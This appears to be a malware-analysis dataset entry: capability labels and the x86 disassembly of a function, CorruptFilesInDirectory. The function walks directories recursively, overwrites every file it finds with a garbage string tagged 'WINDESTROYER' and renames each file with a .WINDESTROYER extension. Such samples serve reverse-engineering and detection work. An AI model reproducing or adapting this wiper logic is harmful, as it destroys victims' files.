Function at 0x402c94
Capabilities:
Contain obfuscated stackstrings
Enumerate files on windows
Enumerate files recursively
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x498
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x407350
lea eax, [ebp - 0x258]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x154]
mov dword [esp + 4], eax
lea eax, [ebp - 0x258]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_FindFirstFileA]
call eax
sub esp, 8
mov dword [ebp - 0x10], eax
mov dword [esp + 4], 0x407357
lea eax, [ebp - 0x154]
add eax, 0x2c
mov dword [esp], eax
call sym._strcmp
test eax, eax
je 0x402f1e
mov dword [esp + 4], 0x407359
lea eax, [ebp - 0x154]
add eax, 0x2c
mov dword [esp], eax
call sym._strcmp
test eax, eax
je 0x402f1e
lea eax, [ebp - 0x154]
add eax, 0x2c
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s_s
lea eax, [ebp - 0x460]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x154]
add eax, 0x2c
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
lea eax, [ebp - 0x460]
mov dword [esp + 4], eax
mov dword [esp], str._s:__s___s_n
call sym._printf
mov eax, dword [ebp - 0x154]
and eax, 0x10
test eax, eax
je 0x402d93
lea eax, [ebp - 0x460]
mov dword [esp], eax
call sym._CorruptFilesInDirectory_4
sub esp, 4
jmp 0x402f1e
mov dword [ebp - 0x488], 0x73696874
mov dword [ebp - 0x484], 0x72747320
mov dword [ebp - 0x480], 0x20676e69
mov dword [ebp - 0x47c], 0x6c6c6977
mov dword [ebp - 0x478], 0x20656220
mov dword [ebp - 0x474], 0x62726167
mov dword [ebp - 0x470], 0x20656761
mov dword [ebp - 0x46c], 0x74657270
mov dword [ebp - 0x468], 0x73207974
mov dword [ebp - 0x464], 0x6e6f6f
mov byte [ebp - 0x488], 0
mov dword [ebp - 0xc], 0
jmp 0x402e59
call sym._rand
movsx ecx, al
mov edx, 0x30c30c31
mov eax, ecx
imul edx
mov eax, edx
sar eax, 5
mov edx, ecx
sar edx, 0x1f
sub eax, edx
imul edx, eax, 0xa8
mov eax, ecx
sub eax, edx
add eax, 0x21
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x488]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s_c
lea eax, [ebp - 0x488]
mov dword [esp], eax
call sym._sprintf
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0x13
jle 0x402e07
lea eax, [ebp - 0x488]
mov dword [esp + 8], eax
mov dword [esp + 4], str._sWINDESTROYER
lea eax, [ebp - 0x488]
mov dword [esp], eax
call sym._sprintf
mov dword [esp + 4], 0x407382
lea eax, [ebp - 0x460]
mov dword [esp], eax
call sym._fopen
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [esp + 4], eax
lea eax, [ebp - 0x488]
mov dword [esp], eax
call sym._fputs
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._fclose
call sym._rand
movsx ecx, al
mov edx, 0x30c30c31
mov eax, ecx
imul edx
mov eax, edx
sar eax, 5
mov edx, ecx
sar edx, 0x1f
sub eax, edx
imul edx, eax, 0xa8
mov eax, ecx
sub eax, edx
add eax, 0x21
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x460]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s.WINDESTROYER
lea eax, [ebp - 0x35c]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x35c]
mov dword [esp + 4], eax
lea eax, [ebp - 0x460]
mov dword [esp], eax
call sym._rename
lea eax, [ebp - 0x154]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_FindNextFileA]
call eax
sub esp, 8
test eax, eax
jne 0x402cda
nop
nop
leave
ret 4